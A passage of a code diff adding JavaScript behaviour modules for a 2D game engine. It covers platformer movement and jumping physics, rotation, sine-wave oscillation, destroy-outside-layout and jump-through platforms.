+ this.runtime.registerCollision(this.inst, collobj);
+ }
+ else
+ return;
+ }
+ if (floor_)
+ {
+ this.doubleJumped = false; // reset double jump flags for next jump
+ this.canDoubleJump = false;
+ if (this.dy > 0)
+ {
+ if (!this.wasOnFloor)
+ {
+ this.runtime.pushInFractional(this.inst, -this.downx, -this.downy, floor_, 16);
+ this.wasOnFloor = true;
+ }
+ this.dy = 0;
+ }
+ if (lastFloor != floor_)
+ {
+ this.lastFloorObject = floor_;
+ this.lastFloorX = floor_.x;
+ this.lastFloorY = floor_.y;
+ this.runtime.registerCollision(this.inst, floor_);
+ }
+ else if (floor_moved)
+ {
+ collobj = this.runtime.testOverlapSolid(this.inst);
+ if (collobj)
+ {
+ this.runtime.registerCollision(this.inst, collobj);
+ if (mx !== 0)
+ {
+ if (mx > 0)
+ this.runtime.pushOutSolid(this.inst, -this.rightx, -this.righty);
+ else
+ this.runtime.pushOutSolid(this.inst, this.rightx, this.righty);
+ }
+ this.runtime.pushOutSolid(this.inst, -this.downx, -this.downy);
+ }
+ }
+ }
+ else
+ {
+ if (!jumpkey)
+ this.canDoubleJump = true;
+ }
+ if ((floor_ && jump) || (!floor_ && this.enableDoubleJump && jumpkey && this.canDoubleJump && !this.doubleJumped))
+ {
+ oldx = this.inst.x;
+ oldy = this.inst.y;
+ this.inst.x -= this.downx;
+ this.inst.y -= this.downy;
+ this.inst.set_bbox_changed();
+ if (!this.runtime.testOverlapSolid(this.inst))
+ {
+ this.sustainTime = this.jumpSustain;
+ this.runtime.trigger(cr.behaviors.Platform.prototype.cnds.OnJump, this.inst);
+ this.animMode = ANIMMODE_JUMPING;
+ this.dy = -this.jumpStrength;
+ jump = true; // set in case is double jump
+ if (floor_)
+ this.jumped = true;
+ else
+ this.doubleJumped = true;
+ }
+ else
+ jump = false;
+ this.inst.x = oldx;
+ this.inst.y = oldy;
+ this.inst.set_bbox_changed();
+ }
+ if (!floor_)
+ {
+ if (jumpkey && this.sustainTime > 0)
+ {
+ this.dy = -this.jumpStrength;
+ this.sustainTime -= dt;
+ }
+ else
+ {
+ this.lastFloorObject = null;
+ this.dy += this.g * dt;
+ if (this.dy > this.maxFall)
+ this.dy = this.maxFall;
+ }
+ if (jump)
+ this.jumped = true;
+ }
+ this.wasOnFloor = !!floor_;
+ if (left == right) // both up or both down
+ {
+ if (this.dx < 0)
+ {
+ this.dx += this.dec * dt;
+ if (this.dx > 0)
+ this.dx = 0;
+ }
+ else if (this.dx > 0)
+ {
+ this.dx -= this.dec * dt;
+ if (this.dx < 0)
+ this.dx = 0;
+ }
+ }
+ if (left && !right)
+ {
+ if (this.dx > 0)
+ this.dx -= (this.acc + this.dec) * dt;
+ else
+ this.dx -= this.acc * dt;
+ }
+ if (right && !left)
+ {
+ if (this.dx < 0)
+ this.dx += (this.acc + this.dec) * dt;
+ else
+ this.dx += this.acc * dt;
+ }
+ if (this.dx > this.maxspeed)
+ this.dx = this.maxspeed;
+ else if (this.dx < -this.maxspeed)
+ this.dx = -this.maxspeed;
+ var landed = false;
+ if (this.dx !== 0)
+ {
+ oldx = this.inst.x;
+ oldy = this.inst.y;
+ mx = this.dx * dt * this.rightx;
+ my = this.dx * dt * this.righty;
+ this.inst.x += this.rightx * (this.dx > 1 ? 1 : -1) - this.downx;
+ this.inst.y += this.righty * (this.dx > 1 ? 1 : -1) - this.downy;
+ this.inst.set_bbox_changed();
+ var is_jumpthru = false;
+ var slope_too_steep = this.runtime.testOverlapSolid(this.inst);
+ /*
+ if (!slope_too_steep && floor_)
+ {
+ slope_too_steep = this.runtime.testOverlapJumpThru(this.inst);
+ is_jumpthru = true;
+ if (slope_too_steep)
+ {
+ this.inst.x = oldx;
+ this.inst.y = oldy;
+ this.inst.set_bbox_changed();
+ if (this.runtime.testOverlap(this.inst, slope_too_steep))
+ {
+ slope_too_steep = null;
+ is_jumpthru = false;
+ }
+ }
+ }
+ */
+ this.inst.x = oldx + mx;
+ this.inst.y = oldy + my;
+ this.inst.set_bbox_changed();
+ obstacle = this.runtime.testOverlapSolid(this.inst);
+ if (!obstacle && floor_)
+ {
+ obstacle = this.runtime.testOverlapJumpThru(this.inst);
+ if (obstacle)
+ {
+ this.inst.x = oldx;
+ this.inst.y = oldy;
+ this.inst.set_bbox_changed();
+ if (this.runtime.testOverlap(this.inst, obstacle))
+ {
+ obstacle = null;
+ is_jumpthru = false;
+ }
+ else
+ is_jumpthru = true;
+ this.inst.x = oldx + mx;
+ this.inst.y = oldy + my;
+ this.inst.set_bbox_changed();
+ }
+ }
+ if (obstacle)
+ {
+ var push_dist = Math.abs(this.dx * dt) + 2;
+ if (slope_too_steep || !this.runtime.pushOutSolid(this.inst, -this.downx, -this.downy, push_dist, is_jumpthru, obstacle))
+ {
+ this.runtime.registerCollision(this.inst, obstacle);
+ push_dist = Math.max(Math.abs(this.dx * dt * 2.5), 30);
+ if (!this.runtime.pushOutSolid(this.inst, this.rightx * (this.dx < 0 ? 1 : -1), this.righty * (this.dx < 0 ? 1 : -1), push_dist, false))
+ {
+ this.inst.x = oldx;
+ this.inst.y = oldy;
+ this.inst.set_bbox_changed();
+ }
+ else if (floor_ && !is_jumpthru && !this.floorIsJumpthru)
+ {
+ oldx = this.inst.x;
+ oldy = this.inst.y;
+ this.inst.x += this.downx;
+ this.inst.y += this.downy;
+ if (this.runtime.testOverlapSolid(this.inst))
+ {
+ if (!this.runtime.pushOutSolid(this.inst, -this.downx, -this.downy, 3, false))
+ {
+ this.inst.x = oldx;
+ this.inst.y = oldy;
+ this.inst.set_bbox_changed();
+ }
+ }
+ else
+ {
+ this.inst.x = oldx;
+ this.inst.y = oldy;
+ this.inst.set_bbox_changed();
+ }
+ }
+ if (!is_jumpthru)
+ this.dx = 0; // stop
+ }
+ else if (!slope_too_steep && !jump && (Math.abs(this.dy) < Math.abs(this.jumpStrength / 4)))
+ {
+ this.dy = 0;
+ if (!floor_)
+ landed = true;
+ }
+ }
+ else
+ {
+ var newfloor = this.isOnFloor();
+ if (floor_ && !newfloor)
+ {
+ mag = Math.ceil(Math.abs(this.dx * dt)) + 2;
+ oldx = this.inst.x;
+ oldy = this.inst.y;
+ this.inst.x += this.downx * mag;
+ this.inst.y += this.downy * mag;
+ this.inst.set_bbox_changed();
+ if (this.runtime.testOverlapSolid(this.inst) || this.runtime.testOverlapJumpThru(this.inst))
+ this.runtime.pushOutSolid(this.inst, -this.downx, -this.downy, mag + 2, true);
+ else
+ {
+ this.inst.x = oldx;
+ this.inst.y = oldy;
+ this.inst.set_bbox_changed();
+ }
+ }
+ else if (newfloor)
+ {
+ if (!floor_ && this.floorIsJumpthru)
+ {
+ this.lastFloorObject = newfloor;
+ this.lastFloorX = newfloor.x;
+ this.lastFloorY = newfloor.y;
+ this.dy = 0;
+ landed = true;
+ }
+ if (this.dy === 0)
+ {
+ this.runtime.pushInFractional(this.inst, -this.downx, -this.downy, newfloor, 16);
+ }
+ }
+ }
+ }
+ if (this.dy !== 0)
+ {
+ oldx = this.inst.x;
+ oldy = this.inst.y;
+ this.inst.x += this.dy * dt * this.downx;
+ this.inst.y += this.dy * dt * this.downy;
+ var newx = this.inst.x;
+ var newy = this.inst.y;
+ this.inst.set_bbox_changed();
+ collobj = this.runtime.testOverlapSolid(this.inst);
+ var fell_on_jumpthru = false;
+ if (!collobj && (this.dy > 0) && !floor_)
+ {
+ allover = this.fallthrough > 0 ? null : this.runtime.testOverlapJumpThru(this.inst, true);
+ if (allover && allover.length)
+ {
+ if (this.wasOverJumpthru)
+ {
+ this.inst.x = oldx;
+ this.inst.y = oldy;
+ this.inst.set_bbox_changed();
+ for (i = 0, j = 0, len = allover.length; i < len; i++)
+ {
+ allover[j] = allover[i];
+ if (!this.runtime.testOverlap(this.inst, allover[i]))
+ j++;
+ }
+ allover.length = j;
+ this.inst.x = newx;
+ this.inst.y = newy;
+ this.inst.set_bbox_changed();
+ }
+ if (allover.length >= 1)
+ collobj = allover[0];
+ }
+ fell_on_jumpthru = !!collobj;
+ }
+ if (collobj)
+ {
+ this.runtime.registerCollision(this.inst, collobj);
+ this.sustainTime = 0;
+ var push_dist = (fell_on_jumpthru ? Math.abs(this.dy * dt * 2.5 + 10) : Math.max(Math.abs(this.dy * dt * 2.5 + 10), 30));
+ if (!this.runtime.pushOutSolid(this.inst, this.downx * (this.dy < 0 ? 1 : -1), this.downy * (this.dy < 0 ? 1 : -1), push_dist, fell_on_jumpthru, collobj))
+ {
+ this.inst.x = oldx;
+ this.inst.y = oldy;
+ this.inst.set_bbox_changed();
+ this.wasOnFloor = true; // prevent adjustment for unexpected floor landings
+ if (!fell_on_jumpthru)
+ this.dy = 0; // stop
+ }
+ else
+ {
+ this.lastFloorObject = collobj;
+ this.lastFloorX = collobj.x;
+ this.lastFloorY = collobj.y;
+ this.floorIsJumpthru = fell_on_jumpthru;
+ if (fell_on_jumpthru)
+ landed = true;
+ this.dy = 0; // stop
+ }
+ }
+ }
+ if (this.animMode !== ANIMMODE_FALLING && this.dy > 0 && !floor_)
+ {
+ this.runtime.trigger(cr.behaviors.Platform.prototype.cnds.OnFall, this.inst);
+ this.animMode = ANIMMODE_FALLING;
+ }
+ if ((floor_ || landed) && this.dy >= 0)
+ {
+ if (this.animMode === ANIMMODE_FALLING || landed || (jump && this.dy === 0))
+ {
+ this.runtime.trigger(cr.behaviors.Platform.prototype.cnds.OnLand, this.inst);
+ if (this.dx === 0 && this.dy === 0)
+ this.animMode = ANIMMODE_STOPPED;
+ else
+ this.animMode = ANIMMODE_MOVING;
+ }
+ else
+ {
+ if (this.animMode !== ANIMMODE_STOPPED && this.dx === 0 && this.dy === 0)
+ {
+ this.runtime.trigger(cr.behaviors.Platform.prototype.cnds.OnStop, this.inst);
+ this.animMode = ANIMMODE_STOPPED;
+ }
+ if (this.animMode !== ANIMMODE_MOVING && (this.dx !== 0 || this.dy !== 0) && !jump)
+ {
+ this.runtime.trigger(cr.behaviors.Platform.prototype.cnds.OnMove, this.inst);
+ this.animMode = ANIMMODE_MOVING;
+ }
+ }
+ }
+ if (this.fallthrough > 0)
+ this.fallthrough--;
+ this.wasOverJumpthru = this.runtime.testOverlapJumpThru(this.inst);
+ };
+ function Cnds() {};
+ Cnds.prototype.IsMoving = function ()
+ {
+ return this.dx !== 0 || this.dy !== 0;
+ };
+ Cnds.prototype.CompareSpeed = function (cmp, s)
+ {
+ var speed = Math.sqrt(this.dx * this.dx + this.dy * this.dy);
+ return cr.do_cmp(speed, cmp, s);
+ };
+ Cnds.prototype.IsOnFloor = function ()
+ {
+ if (this.dy !== 0)
+ return false;
+ var ret = null;
+ var ret2 = null;
+ var i, len, j;
+ var oldx = this.inst.x;
+ var oldy = this.inst.y;
+ this.inst.x += this.downx;
+ this.inst.y += this.downy;
+ this.inst.set_bbox_changed();
+ ret = this.runtime.testOverlapSolid(this.inst);
+ if (!ret && this.fallthrough === 0)
+ ret2 = this.runtime.testOverlapJumpThru(this.inst, true);
+ this.inst.x = oldx;
+ this.inst.y = oldy;
+ this.inst.set_bbox_changed();
+ if (ret) // was overlapping solid
+ {
+ return !this.runtime.testOverlap(this.inst, ret);
+ }
+ if (ret2 && ret2.length)
+ {
+ for (i = 0, j = 0, len = ret2.length; i < len; i++)
+ {
+ ret2[j] = ret2[i];
+ if (!this.runtime.testOverlap(this.inst, ret2[i]))
+ j++;
+ }
+ if (j >= 1)
+ return true;
+ }
+ return false;
+ };
+ Cnds.prototype.IsByWall = function (side)
+ {
+ var ret = false;
+ var oldx = this.inst.x;
+ var oldy = this.inst.y;
+ if (side === 0) // left
+ {
+ this.inst.x -= this.rightx * 2;
+ this.inst.y -= this.righty * 2;
+ }
+ else
+ {
+ this.inst.x += this.rightx * 2;
+ this.inst.y += this.righty * 2;
+ }
+ this.inst.set_bbox_changed();
+ if (!this.runtime.testOverlapSolid(this.inst))
+ {
+ this.inst.x = oldx;
+ this.inst.y = oldy;
+ this.inst.set_bbox_changed();
+ return false;
+ }
+ this.inst.x -= this.downx * 3;
+ this.inst.y -= this.downy * 3;
+ this.inst.set_bbox_changed();
+ ret = this.runtime.testOverlapSolid(this.inst);
+ this.inst.x = oldx;
+ this.inst.y = oldy;
+ this.inst.set_bbox_changed();
+ return ret;
+ };
+ Cnds.prototype.IsJumping = function ()
+ {
+ return this.dy < 0;
+ };
+ Cnds.prototype.IsFalling = function ()
+ {
+ return this.dy > 0;
+ };
+ Cnds.prototype.OnJump = function ()
+ {
+ return true;
+ };
+ Cnds.prototype.OnFall = function ()
+ {
+ return true;
+ };
+ Cnds.prototype.OnStop = function ()
+ {
+ return true;
+ };
+ Cnds.prototype.OnMove = function ()
+ {
+ return true;
+ };
+ Cnds.prototype.OnLand = function ()
+ {
+ return true;
+ };
+ Cnds.prototype.IsDoubleJumpEnabled = function ()
+ {
+ return this.enableDoubleJump;
+ };
+ behaviorProto.cnds = new Cnds();
+ function Acts() {};
+ Acts.prototype.SetIgnoreInput = function (ignoring)
+ {
+ this.ignoreInput = ignoring;
+ };
+ Acts.prototype.SetMaxSpeed = function (maxspeed)
+ {
+ this.maxspeed = maxspeed;
+ if (this.maxspeed < 0)
+ this.maxspeed = 0;
+ };
+ Acts.prototype.SetAcceleration = function (acc)
+ {
+ this.acc = acc;
+ if (this.acc < 0)
+ this.acc = 0;
+ };
+ Acts.prototype.SetDeceleration = function (dec)
+ {
+ this.dec = dec;
+ if (this.dec < 0)
+ this.dec = 0;
+ };
+ Acts.prototype.SetJumpStrength = function (js)
+ {
+ this.jumpStrength = js;
+ if (this.jumpStrength < 0)
+ this.jumpStrength = 0;
+ };
+ Acts.prototype.SetGravity = function (grav)
+ {
+ if (this.g1 === grav)
+ return; // no change
+ this.g = grav;
+ this.updateGravity();
+ if (this.runtime.testOverlapSolid(this.inst))
+ {
+ this.runtime.pushOutSolid(this.inst, this.downx, this.downy, 10);
+ this.inst.x += this.downx * 2;
+ this.inst.y += this.downy * 2;
+ this.inst.set_bbox_changed();
+ }
+ this.lastFloorObject = null;
+ };
+ Acts.prototype.SetMaxFallSpeed = function (mfs)
+ {
+ this.maxFall = mfs;
+ if (this.maxFall < 0)
+ this.maxFall = 0;
+ };
+ Acts.prototype.SimulateControl = function (ctrl)
+ {
+ switch (ctrl) {
+ case 0: this.simleft = true; break;
+ case 1: this.simright = true; break;
+ case 2: this.simjump = true; break;
+ }
+ };
+ Acts.prototype.SetVectorX = function (vx)
+ {
+ this.dx = vx;
+ };
+ Acts.prototype.SetVectorY = function (vy)
+ {
+ this.dy = vy;
+ };
+ Acts.prototype.SetGravityAngle = function (a)
+ {
+ a = cr.to_radians(a);
+ a = cr.clamp_angle(a);
+ if (this.ga === a)
+ return; // no change
+ this.ga = a;
+ this.updateGravity();
+ this.lastFloorObject = null;
+ };
+ Acts.prototype.SetEnabled = function (en)
+ {
+ if (this.enabled !== (en === 1))
+ {
+ this.enabled = (en === 1);
+ if (!this.enabled)
+ this.lastFloorObject = null;
+ }
+ };
+ Acts.prototype.FallThrough = function ()
+ {
+ var oldx = this.inst.x;
+ var oldy = this.inst.y;
+ this.inst.x += this.downx;
+ this.inst.y += this.downy;
+ this.inst.set_bbox_changed();
+ var overlaps = this.runtime.testOverlapJumpThru(this.inst, false);
+ this.inst.x = oldx;
+ this.inst.y = oldy;
+ this.inst.set_bbox_changed();
+ if (!overlaps)
+ return;
+ this.fallthrough = 3; // disable jumpthrus for 3 ticks (1 doesn't do it, 2 does, 3 to be on safe side)
+ this.lastFloorObject = null;
+ };
+ Acts.prototype.SetDoubleJumpEnabled = function (e)
+ {
+ this.enableDoubleJump = (e !== 0);
+ };
+ Acts.prototype.SetJumpSustain = function (s)
+ {
+ this.jumpSustain = s / 1000; // convert to ms
+ };
+ behaviorProto.acts = new Acts();
+ function Exps() {};
+ Exps.prototype.Speed = function (ret)
+ {
+ ret.set_float(Math.sqrt(this.dx * this.dx + this.dy * this.dy));
+ };
+ Exps.prototype.MaxSpeed = function (ret)
+ {
+ ret.set_float(this.maxspeed);
+ };
+ Exps.prototype.Acceleration = function (ret)
+ {
+ ret.set_float(this.acc);
+ };
+ Exps.prototype.Deceleration = function (ret)
+ {
+ ret.set_float(this.dec);
+ };
+ Exps.prototype.JumpStrength = function (ret)
+ {
+ ret.set_float(this.jumpStrength);
+ };
+ Exps.prototype.Gravity = function (ret)
+ {
+ ret.set_float(this.g);
+ };
+ Exps.prototype.GravityAngle = function (ret)
+ {
+ ret.set_float(cr.to_degrees(this.ga));
+ };
+ Exps.prototype.MaxFallSpeed = function (ret)
+ {
+ ret.set_float(this.maxFall);
+ };
+ Exps.prototype.MovingAngle = function (ret)
+ {
+ ret.set_float(cr.to_degrees(Math.atan2(this.dy, this.dx)));
+ };
+ Exps.prototype.VectorX = function (ret)
+ {
+ ret.set_float(this.dx);
+ };
+ Exps.prototype.VectorY = function (ret)
+ {
+ ret.set_float(this.dy);
+ };
+ Exps.prototype.JumpSustain = function (ret)
+ {
+ ret.set_float(this.jumpSustain * 1000); // convert back to ms
+ };
+ behaviorProto.exps = new Exps();
+}());
+;
+;
+cr.behaviors.Rotate = function(runtime)
+{
+ this.runtime = runtime;
+};
+(function ()
+{
+ var behaviorProto = cr.behaviors.Rotate.prototype;
+ behaviorProto.Type = function(behavior, objtype)
+ {
+ this.behavior = behavior;
+ this.objtype = objtype;
+ this.runtime = behavior.runtime;
+ };
+ var behtypeProto = behaviorProto.Type.prototype;
+ behtypeProto.onCreate = function()
+ {
+ };
+ behaviorProto.Instance = function(type, inst)
+ {
+ this.type = type;
+ this.behavior = type.behavior;
+ this.inst = inst; // associated object instance to modify
+ this.runtime = type.runtime;
+ };
+ var behinstProto = behaviorProto.Instance.prototype;
+ behinstProto.onCreate = function()
+ {
+ this.speed = cr.to_radians(this.properties[0]);
+ this.acc = cr.to_radians(this.properties[1]);
+ };
+ behinstProto.saveToJSON = function ()
+ {
+ return {
+ "speed": this.speed,
+ "acc": this.acc
+ };
+ };
+ behinstProto.loadFromJSON = function (o)
+ {
+ this.speed = o["speed"];
+ this.acc = o["acc"];
+ };
+ behinstProto.tick = function ()
+ {
+ var dt = this.runtime.getDt(this.inst);
+ if (dt === 0)
+ return;
+ if (this.acc !== 0)
+ this.speed += this.acc * dt;
+ if (this.speed !== 0)
+ {
+ this.inst.angle = cr.clamp_angle(this.inst.angle + this.speed * dt);
+ this.inst.set_bbox_changed();
+ }
+ };
+ function Cnds() {};
+ behaviorProto.cnds = new Cnds();
+ function Acts() {};
+ Acts.prototype.SetSpeed = function (s)
+ {
+ this.speed = cr.to_radians(s);
+ };
+ Acts.prototype.SetAcceleration = function (a)
+ {
+ this.acc = cr.to_radians(a);
+ };
+ behaviorProto.acts = new Acts();
+ function Exps() {};
+ Exps.prototype.Speed = function (ret)
+ {
+ ret.set_float(cr.to_degrees(this.speed));
+ };
+ Exps.prototype.Acceleration = function (ret)
+ {
+ ret.set_float(cr.to_degrees(this.acc));
+ };
+ behaviorProto.exps = new Exps();
+}());
+;
+;
+cr.behaviors.Sin = function(runtime)
+{
+ this.runtime = runtime;
+};
+(function ()
+{
+ var behaviorProto = cr.behaviors.Sin.prototype;
+ behaviorProto.Type = function(behavior, objtype)
+ {
+ this.behavior = behavior;
+ this.objtype = objtype;
+ this.runtime = behavior.runtime;
+ };
+ var behtypeProto = behaviorProto.Type.prototype;
+ behtypeProto.onCreate = function()
+ {
+ };
+ behaviorProto.Instance = function(type, inst)
+ {
+ this.type = type;
+ this.behavior = type.behavior;
+ this.inst = inst; // associated object instance to modify
+ this.runtime = type.runtime;
+ this.i = 0; // period offset (radians)
+ };
+ var behinstProto = behaviorProto.Instance.prototype;
+ var _2pi = 2 * Math.PI;
+ var _pi_2 = Math.PI / 2;
+ var _3pi_2 = (3 * Math.PI) / 2;
+ behinstProto.onCreate = function()
+ {
+ this.active = (this.properties[0] === 1);
+ this.movement = this.properties[1]; // 0=Horizontal|1=Vertical|2=Size|3=Width|4=Height|5=Angle|6=Opacity|7=Value only
+ this.wave = this.properties[2]; // 0=Sine|1=Triangle|2=Sawtooth|3=Reverse sawtooth|4=Square
+ this.period = this.properties[3];
+ this.period += Math.random() * this.properties[4]; // period random
+ if (this.period === 0)
+ this.i = 0;
+ else
+ {
+ this.i = (this.properties[5] / this.period) * _2pi; // period offset
+ this.i += ((Math.random() * this.properties[6]) / this.period) * _2pi; // period offset random
+ }
+ this.mag = this.properties[7]; // magnitude
+ this.mag += Math.random() * this.properties[8]; // magnitude random
+ this.initialValue = 0;
+ this.initialValue2 = 0;
+ this.ratio = 0;
+ if (this.movement === 5) // angle
+ this.mag = cr.to_radians(this.mag);
+ this.init();
+ };
+ behinstProto.saveToJSON = function ()
+ {
+ return {
+ "i": this.i,
+ "a": this.active,
+ "mv": this.movement,
+ "w": this.wave,
+ "p": this.period,
+ "mag": this.mag,
+ "iv": this.initialValue,
+ "iv2": this.initialValue2,
+ "r": this.ratio,
+ "lkv": this.lastKnownValue,
+ "lkv2": this.lastKnownValue2
+ };
+ };
+ behinstProto.loadFromJSON = function (o)
+ {
+ this.i = o["i"];
+ this.active = o["a"];
+ this.movement = o["mv"];
+ this.wave = o["w"];
+ this.period = o["p"];
+ this.mag = o["mag"];
+ this.initialValue = o["iv"];
+ this.initialValue2 = o["iv2"] || 0;
+ this.ratio = o["r"];
+ this.lastKnownValue = o["lkv"];
+ this.lastKnownValue2 = o["lkv2"] || 0;
+ };
+ behinstProto.init = function ()
+ {
+ switch (this.movement) {
+ case 0: // horizontal
+ this.initialValue = this.inst.x;
+ break;
+ case 1: // vertical
+ this.initialValue = this.inst.y;
+ break;
+ case 2: // size
+ this.initialValue = this.inst.width;
+ this.ratio = this.inst.height / this.inst.width;
+ break;
+ case 3: // width
+ this.initialValue = this.inst.width;
+ break;
+ case 4: // height
+ this.initialValue = this.inst.height;
+ break;
+ case 5: // angle
+ this.initialValue = this.inst.angle;
+ break;
+ case 6: // opacity
+ this.initialValue = this.inst.opacity;
+ break;
+ case 7:
+ this.initialValue = 0;
+ break;
+ case 8: // forwards/backwards
+ this.initialValue = this.inst.x;
+ this.initialValue2 = this.inst.y;
+ break;
+ default:
+;
+ }
+ this.lastKnownValue = this.initialValue;
+ this.lastKnownValue2 = this.initialValue2;
+ };
+ behinstProto.waveFunc = function (x)
+ {
+ x = x % _2pi;
+ switch (this.wave) {
+ case 0: // sine
+ return Math.sin(x);
+ case 1: // triangle
+ if (x <= _pi_2)
+ return x / _pi_2;
+ else if (x <= _3pi_2)
+ return 1 - (2 * (x - _pi_2) / Math.PI);
+ else
+ return (x - _3pi_2) / _pi_2 - 1;
+ case 2: // sawtooth
+ return 2 * x / _2pi - 1;
+ case 3: // reverse sawtooth
+ return -2 * x / _2pi + 1;
+ case 4: // square
+ return x < Math.PI ? -1 : 1;
+ };
+ return 0;
+ };
+ behinstProto.tick = function ()
+ {
+ var dt = this.runtime.getDt(this.inst);
+ if (!this.active || dt === 0)
+ return;
+ if (this.period === 0)
+ this.i = 0;
+ else
+ {
+ this.i += (dt / this.period) * _2pi;
+ this.i = this.i % _2pi;
+ }
+ this.updateFromPhase();
+ };
+ behinstProto.updateFromPhase = function ()
+ {
+ switch (this.movement) {
+ case 0: // horizontal
+ if (this.inst.x !== this.lastKnownValue)
+ this.initialValue += this.inst.x - this.lastKnownValue;
+ this.inst.x = this.initialValue + this.waveFunc(this.i) * this.mag;
+ this.lastKnownValue = this.inst.x;
+ break;
+ case 1: // vertical
+ if (this.inst.y !== this.lastKnownValue)
+ this.initialValue += this.inst.y - this.lastKnownValue;
+ this.inst.y = this.initialValue + this.waveFunc(this.i) * this.mag;
+ this.lastKnownValue = this.inst.y;
+ break;
+ case 2: // size
+ this.inst.width = this.initialValue + this.waveFunc(this.i) * this.mag;
+ this.inst.height = this.inst.width * this.ratio;
+ break;
+ case 3: // width
+ this.inst.width = this.initialValue + this.waveFunc(this.i) * this.mag;
+ break;
+ case 4: // height
+ this.inst.height = this.initialValue + this.waveFunc(this.i) * this.mag;
+ break;
+ case 5: // angle
+ if (this.inst.angle !== this.lastKnownValue)
+ this.initialValue = cr.clamp_angle(this.initialValue + (this.inst.angle - this.lastKnownValue));
+ this.inst.angle = cr.clamp_angle(this.initialValue + this.waveFunc(this.i) * this.mag);
+ this.lastKnownValue = this.inst.angle;
+ break;
+ case 6: // opacity
+ this.inst.opacity = this.initialValue + (this.waveFunc(this.i) * this.mag) / 100;
+ if (this.inst.opacity < 0)
+ this.inst.opacity = 0;
+ else if (this.inst.opacity > 1)
+ this.inst.opacity = 1;
+ break;
+ case 8: // forwards/backwards
+ if (this.inst.x !== this.lastKnownValue)
+ this.initialValue += this.inst.x - this.lastKnownValue;
+ if (this.inst.y !== this.lastKnownValue2)
+ this.initialValue2 += this.inst.y - this.lastKnownValue2;
+ this.inst.x = this.initialValue + Math.cos(this.inst.angle) * this.waveFunc(this.i) * this.mag;
+ this.inst.y = this.initialValue2 + Math.sin(this.inst.angle) * this.waveFunc(this.i) * this.mag;
+ this.lastKnownValue = this.inst.x;
+ this.lastKnownValue2 = this.inst.y;
+ break;
+ }
+ this.inst.set_bbox_changed();
+ };
+ behinstProto.onSpriteFrameChanged = function (prev_frame, next_frame)
+ {
+ switch (this.movement) {
+ case 2: // size
+ this.initialValue *= (next_frame.width / prev_frame.width);
+ this.ratio = next_frame.height / next_frame.width;
+ break;
+ case 3: // width
+ this.initialValue *= (next_frame.width / prev_frame.width);
+ break;
+ case 4: // height
+ this.initialValue *= (next_frame.height / prev_frame.height);
+ break;
+ }
+ };
+ function Cnds() {};
+ Cnds.prototype.IsActive = function ()
+ {
+ return this.active;
+ };
+ Cnds.prototype.CompareMovement = function (m)
+ {
+ return this.movement === m;
+ };
+ Cnds.prototype.ComparePeriod = function (cmp, v)
+ {
+ return cr.do_cmp(this.period, cmp, v);
+ };
+ Cnds.prototype.CompareMagnitude = function (cmp, v)
+ {
+ if (this.movement === 5)
+ return cr.do_cmp(this.mag, cmp, cr.to_radians(v));
+ else
+ return cr.do_cmp(this.mag, cmp, v);
+ };
+ Cnds.prototype.CompareWave = function (w)
+ {
+ return this.wave === w;
+ };
+ behaviorProto.cnds = new Cnds();
+ function Acts() {};
+ Acts.prototype.SetActive = function (a)
+ {
+ this.active = (a === 1);
+ };
+ Acts.prototype.SetPeriod = function (x)
+ {
+ this.period = x;
+ };
+ Acts.prototype.SetMagnitude = function (x)
+ {
+ this.mag = x;
+ if (this.movement === 5) // angle
+ this.mag = cr.to_radians(this.mag);
+ };
+ Acts.prototype.SetMovement = function (m)
+ {
+ if (this.movement === 5 && m !== 5)
+ this.mag = cr.to_degrees(this.mag);
+ this.movement = m;
+ this.init();
+ };
+ Acts.prototype.SetWave = function (w)
+ {
+ this.wave = w;
+ };
+ Acts.prototype.SetPhase = function (x)
+ {
+ this.i = (x * _2pi) % _2pi;
+ this.updateFromPhase();
+ };
+ Acts.prototype.UpdateInitialState = function ()
+ {
+ this.init();
+ };
+ behaviorProto.acts = new Acts();
+ function Exps() {};
+ Exps.prototype.CyclePosition = function (ret)
+ {
+ ret.set_float(this.i / _2pi);
+ };
+ Exps.prototype.Period = function (ret)
+ {
+ ret.set_float(this.period);
+ };
+ Exps.prototype.Magnitude = function (ret)
+ {
+ if (this.movement === 5) // angle
+ ret.set_float(cr.to_degrees(this.mag));
+ else
+ ret.set_float(this.mag);
+ };
+ Exps.prototype.Value = function (ret)
+ {
+ ret.set_float(this.waveFunc(this.i) * this.mag);
+ };
+ behaviorProto.exps = new Exps();
+}());
+;
+;
+cr.behaviors.destroy = function(runtime)
+{
+ this.runtime = runtime;
+};
+(function ()
+{
+ var behaviorProto = cr.behaviors.destroy.prototype;
+ behaviorProto.Type = function(behavior, objtype)
+ {
+ this.behavior = behavior;
+ this.objtype = objtype;
+ this.runtime = behavior.runtime;
+ };
+ var behtypeProto = behaviorProto.Type.prototype;
+ behtypeProto.onCreate = function()
+ {
+ };
+ behaviorProto.Instance = function(type, inst)
+ {
+ this.type = type;
+ this.behavior = type.behavior;
+ this.inst = inst; // associated object instance to modify
+ this.runtime = type.runtime;
+ };
+ var behinstProto = behaviorProto.Instance.prototype;
+ behinstProto.onCreate = function()
+ {
+ };
+ behinstProto.tick = function ()
+ {
+ this.inst.update_bbox();
+ var bbox = this.inst.bbox;
+ var layout = this.inst.layer.layout;
+ if (bbox.right < 0 || bbox.bottom < 0 || bbox.left > layout.width || bbox.top > layout.height)
+ this.runtime.DestroyInstance(this.inst);
+ };
+}());
+;
+;
+cr.behaviors.jumpthru = function(runtime)
+{
+ this.runtime = runtime;
+};
+(function ()
+{
+ var behaviorProto = cr.behaviors.jumpthru.prototype;
+ behaviorProto.Type = function(behavior, objtype)
+ {
+ this.behavior = behavior;
+ this.objtype = objtype;
+ this.runtime = behavior.runtime;
+ };
+ var behtypeProto = behaviorProto.Type.prototype;
+ behtypeProto.onCreate = function()
+ {
+ };
+ behaviorProto.Instance = function(type, inst)
+ {
+ this.type = type;
+ this.behavior = type.behavior;
+ this.inst = inst; // associated object instance to modify
+ this.runtime = type.runtime;
+ };
+ var behinstProto = behaviorProto.Instance.prototype;
+ behinstProto.onCreate = function()
+ {
+ this.inst.extra["jumpthruEnabled"] = (this.properties[0] !== 0);
+ };
+ behinstProto.tick = function ()
+ {
+ };
+ function Cnds() {};
+ Cnds.prototype.IsEnabled = function ()
+ {
+ return this.inst.extra["jumpthruEnabled"];
+ };
+ behaviorProto.cnds = new Cnds();
+ function Acts() {};
+ Acts.prototype.SetEnabled = function (e)
+ {
+ this.inst.extra["jumpthruEnabled"] = !!e;
+ };
+ behaviorProto.acts = new Acts();
+}());
+var easeOutBounceArray = [];
+var easeInElasticArray = [];
+var easeOutElasticArray = [];
